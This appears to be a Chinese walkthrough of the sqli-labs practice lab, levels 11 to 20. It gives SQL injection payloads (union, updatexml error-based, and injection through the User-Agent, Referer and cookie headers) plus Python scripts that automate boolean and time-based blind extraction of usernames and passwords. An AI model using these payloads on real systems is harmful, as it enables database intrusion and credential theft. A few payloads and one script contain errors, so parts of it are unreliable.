Less-11/12(POST请求-报错注入)

Less-11: 闭合方式为 ‘

Less-12: 闭合方式为 “)

联合注入:

1
2
3
4
5
6
uname=a' order by 2 --+&passwd=1&submit=Submit
uname=a' union select 1, datebase() --+&passwd=1&submit=Submit
uname=a' union select 1,group_concat(schema_name) from information_schema.schemata --+&passwd=1&submit=Submit 数据库
uname=a' union select 1, group_concat(table_name) from information_schema.tables where table_schema='security' --+&passwd=1&submit=Submit 表名
uname=a' union select 1, group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users' --+&passwd=1&submit=Submit
uname=a' union select 1, group_concat(concat_ws('|',username,password)) from users --+&passwd=1&submit=Submit 字段名

报错注入:

1
2
3
4
5
6
7
uname=a' and 1=(updatexml(1,concat(0x3a,(select group_concat(database()) from information_schema.schemata)),1)) --+&passwd=1&submit=Submit //数据库名
uname=a' and 1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)) --+&passwd=1&submit=Submit //表名
uname=a' and 1=(updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)) --+&passwd=1&submit=Submit注意:这个需要数据库名和表名
// 获取用户名
uname=a' and 1=(updatexml(1,concat(0x3a,(select group_concat(username) from users)),1)) --+&passwd=1&submit=Submit
uname=a' and 1=(updatexml(1,concat(0x3a,(select group_concat(password) from users)),1)) --+&passwd=1&submit=Submit
uname=a' and updatexml(1,concat(0x3a,(select concat_ws(':',username,password) from users LIMIT 0,1))-- +&passwd=1&submit=Submit

盲注也可以

Less-13/14/15/16(POST请求-盲注)

Less-13: 闭合方式为 ‘)

Less-14: 闭合方式为 “

Less-15: 闭合方式为 ‘

Less-16: 闭合方式为 “)

布尔盲注:

正确与否回显的图片不一样,据此使用布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests
from multiprocessing import Pool

url = "http://192.168.235.133:86/less-14/"
# 猜解长度使用的payload
# payload_len = '1" or length((database())) ={n} -- +'
payload_len = '1" or length((select group_concat(table_name) from information_schema.tables where table_schema=database())) = {n} -- +' # 爆破表名长度
# payload_len = '1" or length((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")) = {n} -- +' # 爆破字段名长度
# payload_len = '1" or length((select group_concat(username)) from users)) = {n} -- +' # 爆破用户名和密码长度

# 枚举字符使用的payload
# payload_str = '1" or ascii(substr((database()),{l},1)) = {n} -- +'
payload_str = '1" or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{l},1)) = {n} -- +' # 爆破表名
# payload_str = '1" or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),{l},1)) = {n} -- +' # 爆破字段名
# payload_str = '1" or ascii(substr((select group_concat(username)) from users),{l},1)) = {n} -- +' # 爆破用户名和密码


data = {
"uname" : "",
"passwd" : "1",
"submit" : "Submit"
}

# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
data["uname"] = payload_len.format(n=length)
response = requests.post(url= url, data=data)
# 页面中出现此内容则表示成功
if '../images/flag.jpg' in response.text:
print('测试长度完成,长度为:', length,)
return length
else:
print('正在测试长度:', length)
length += 1 # 测试长度递增

# 获取字符
def getChar(args):
url, payload, l, n = args
data["uname"] = payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)
# 页面中出现此内容则表示成功
if '../images/flag.jpg' in response.text:
return chr(n)

# 开始猜解
def main():
length = getLength(url, payload_len)
print('开始猜解字符.........')
str = ''
for l in range(1, length + 1):
pool = Pool(processes=50) # 设置并发数
results = pool.map(getChar, [(url, payload_str, l, n) for n in range(33, 126)])
pool.close()
pool.join()
char = next((c for c in results if c is not None), None)
if char:
str += char
print(f'第{l}个字符猜解成功:', str)
return str

if __name__ == "__main__":
main()

时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import requests
import threading

url = "http://192.168.235.133:86/less-15/"
# payload_len = "admin' and if(length(database())={},sleep(2),1)-- +"
# payload_len = 'admin\' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=\'security\')) = {},sleep(2),1) -- +' # 爆破表名长度
payload_len = 'admin\' and if(length((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")) = {},sleep(2),1) -- +' # 爆破字段名长度
# payload_len = 'admin\' and if(length((select group_concat(username)) from users)) = {},sleep(2),1) -- +' # 爆破用户名和密码长度

# 枚举字符使用的payload
# payload_str = "admin' and if(ascii(substr(database(),{i},1))={mid},sleep(2),1)-- +"
# payload_str = 'admin\' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'security\'),{i},1)) = {mid},sleep(3),1) -- +' # 爆破表名
payload_str = 'admin\' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),{i},1)) = {mid},sleep(3),1) -- +' # 爆破字段名
# payload_str = 'admin\' and if(ascii(substr((select group_concat(username)) from users),{i},1)) = {mid},sleep(3),1) -- +' # 爆破用户名和密码



data = {
"uname": "",
"passwd": "1",
"submit": "Submit"
}
# 控制最大线程数的Semaphore
max_threads = 10
thread_semaphore = threading.Semaphore(max_threads)

# 获取长度
def get_length(payload):
length = 1
while True:
try:
data["uname"] = payload.format(length)
response = requests.post(url, data=data)
if response.elapsed.total_seconds() > 2:
return length
length += 1
print("当前测试长度为:", length)
except requests.RequestException as e:
print("网络请求异常:", e)
return

# 获取单个字符
def get_char(i, result):
with thread_semaphore:
for mid in range(32, 127):
try:
data["uname"] = payload_str.format(i=i, mid=mid)
response = requests.post(url, data=data)
if response.elapsed.total_seconds() > 3:
print(f"第{i}个字符为:", chr(mid))
with threadLock:
result[i-1] = chr(mid)
return
except requests.RequestException as e:
print("网络请求异常:", e)
return
finally:
# 释放信号量
thread_semaphore.release()

# 主程序
if __name__ == "__main__":
print('开始猜解长度...')
length = get_length(payload_len)
if length is not None:
print('长度为:', length)
print('开始猜解字符...')
result = [''] * length
threadLock = threading.Lock() # 创建线程锁

threads = []
for i in range(1, length + 1):
thread = threading.Thread(target=get_char, args=(i, result))
threads.append(thread)
thread.start()

for t in threads:
t.join()

result_str = ''.join(result)
if '' not in result:
print('猜解字符结果:', result_str)
else:
print('字符获取不完整。')
else:
print('无法获取长度。')

Less-17

这一关是密码重置,对用户名进行测试无报错,但使用题目提示的用户名Dhakkan对passwd使用”,”测试报错,得到注入点passwd

使用报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//数据库名
' and updatexml(1,concat(0x3a,(select database())),1)-- +

//表名
' and updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

//字段名,注意:这个需要数据库名和表名
' and updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

//获取字段值
' and updatexml(1,concat(0x3a,(select group_concat(username) from users)),1)--+
但是这个语句报错了,识别不了users表
于是增加一个子查询 这个子查询输出的内容和users表一样 查询后会放在一个虚拟表a中
' and updatexml(1,concat(0x3a,(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)a LIMIT 0,1)),1) --+

Less-18

打开后有个ip显示功能,大概率会记录你的登录ip地址,

如果ip地址被记录到数据库,那么就可能存在HTTP头注入

使用admin/admin登录后还会显示UA,那么UA大概率也会被记录到数据库中

对UA添加’后报错,证明存在UA头注入

根据报错还需要两个参数:ip和username,创建闭合参数’,1,1)

1
2
3
4
5
6
7
8
9
10
// 数据库名
' and updatexml(1,concat(0x3a,(select database())),1),1,1)-- +
//表名
' and updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1),1,1) -- +

//字段名
' and updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1),1,1) -- +

//获取字段值
' and updatexml(1,concat(0x3a,(select concat_ws(':',username,password) from users LIMIT 0,1)),1),1,1)-- +

Less-19

本关和上一关相似,使用admin/admin登录后会显示referer,大概率也会被记录到数据库中

在referer中添加’报错,不过这个是需要两个值闭合,也就是,1)

1
2
3
4
5
6
7
8
9
10
11
// 数据库名
' and updatexml(1,concat(0x3a,(select database())),1),1)-- +
//表名
' and updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1),1) -- +

//字段名
' and updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1),1) -- +

//获取字段值
' and updatexml(1,concat(0x3a,(select concat_ws(':',username,password) from users LIMIT 0,1)),1),1)-- +

Less-20

这一关还是HTTP头注入,使用admin/admin登录后重点显示了cookie,大概率是cookie被带入到了数据库,那么本关就是cookie注入

抓包,在cookie位置添加’报错,闭合方式也为’

1
2
3
4
5
6
7
8
9
10
11
12
13
uname=admin' and 1=1-- +页面正常
uname=admin' and 1=2-- +页面异常

// 数据库名
' and updatexml(1,concat(0x3a,(select database())),1)-- +
//表名
' and updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) -- +

//字段名
' and updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) -- +

//获取字段值
' and updatexml(1,concat(0x3a,(select concat_ws(':',username,password) from users LIMIT 0,1)),1)-- +